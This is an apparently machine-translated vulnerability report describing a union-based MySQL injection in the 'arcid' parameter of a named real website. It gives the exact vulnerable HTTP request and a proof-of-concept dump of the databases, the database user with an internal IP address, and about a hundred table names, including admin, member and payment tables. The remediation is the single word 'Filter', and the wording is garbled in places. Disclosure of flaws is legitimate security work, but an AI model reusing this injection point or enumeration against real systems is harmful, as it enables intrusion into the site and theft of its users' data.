Support union for MYSQL injection on a bus station

Support union for MYSQL injection on a bus station

Website: doubi.tgbus.com parameter arcid

 

GET /api/index.do?single=doubi&callback=jQuery18300961274579167366_1425390140965&method=tgbus.doubi.login.init&arcid=28034&_=1425390145552 HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) Accept: */*Accept-Language: en-us,en;q=0.8,en-us,en;q=0.5Cache-Control: no-cacheHost: doubi.tgbus.comAccept-Encoding: gzip, deflate

POC:

available databases [3]:                                                              [*] information_schema[*] test[*] tgbus_db.mmo2database management system users [1]:                                                 [*] 'tgbus_db.mmo2'@'172.30.26.24'

Is there less rank for data?
 

Database: `tgbus_db.mmo2`                                                             [100 tables]+-----------------------+| dede_addon17          || dede_addon18          || dede_addon19          || dede_addonarticle     || dede_addonimages      || dede_addoninfos       || dede_addonshop        || dede_addonsoft        || dede_addonspec        || dede_admin            || dede_admintype        || dede_advancedsearch   || dede_arcatt           || dede_arccache         || dede_archives         || dede_arcmulti         || dede_arcrank          || dede_arctiny          || dede_arctype          || dede_area             || dede_channeltype      || dede_co_htmls         || dede_co_mediaurls     || dede_co_note          || dede_co_onepage       || dede_co_urls          || dede_diyforms         || dede_dl_log           || dede_doubi_userinfo   || dede_downloads        || dede_erradd           || dede_feedback         || dede_flink            || dede_flinktype        || dede_freelist         || dede_homepageset      || dede_keywords         || dede_log              || dede_member           || dede_member_company   || dede_member_feed      || dede_member_flink     || dede_member_friends   || dede_member_group     || dede_member_guestbook || dede_member_model     || dede_member_msg       || dede_member_operation || dede_member_person    || dede_member_pms       || dede_member_snsmsg    || dede_member_space     || dede_member_stow      || dede_member_stowtype  || dede_member_tj        || dede_member_type      || dede_member_vhistory  || dede_moneycard_record || dede_moneycard_type   || dede_mtypes           || dede_multiserv_config || dede_myad             || dede_myadtype         || dede_mytag            || dede_payment          || dede_plus             || dede_purview          || dede_pwd_tmp          || dede_ratings          || dede_scores           || dede_search_cache     || dede_search_keywords  || dede_sgpage           || dede_shops_delivery   || dede_shops_orders     || dede_shops_products   || dede_shops_userinfo   || dede_softconfig       || dede_sphinx           || dede_stepselect       || dede_sys_enum         || dede_sys_module       || dede_sys_set          || dede_sys_task         || dede_sysconfig        || dede_tagindex         || dede_taglist          || dede_uploads          || dede_verifies         || dede_view_arcomment   || dede_vote             || dede_vote_member      || doubi_comment_detail  || doubi_comment_log     || duoshuo_commentmeta   || tg_configure          || tg_upload             || tg_user_group         || tg_users              || tg_vote               |+-----------------------+

Solution:

Filter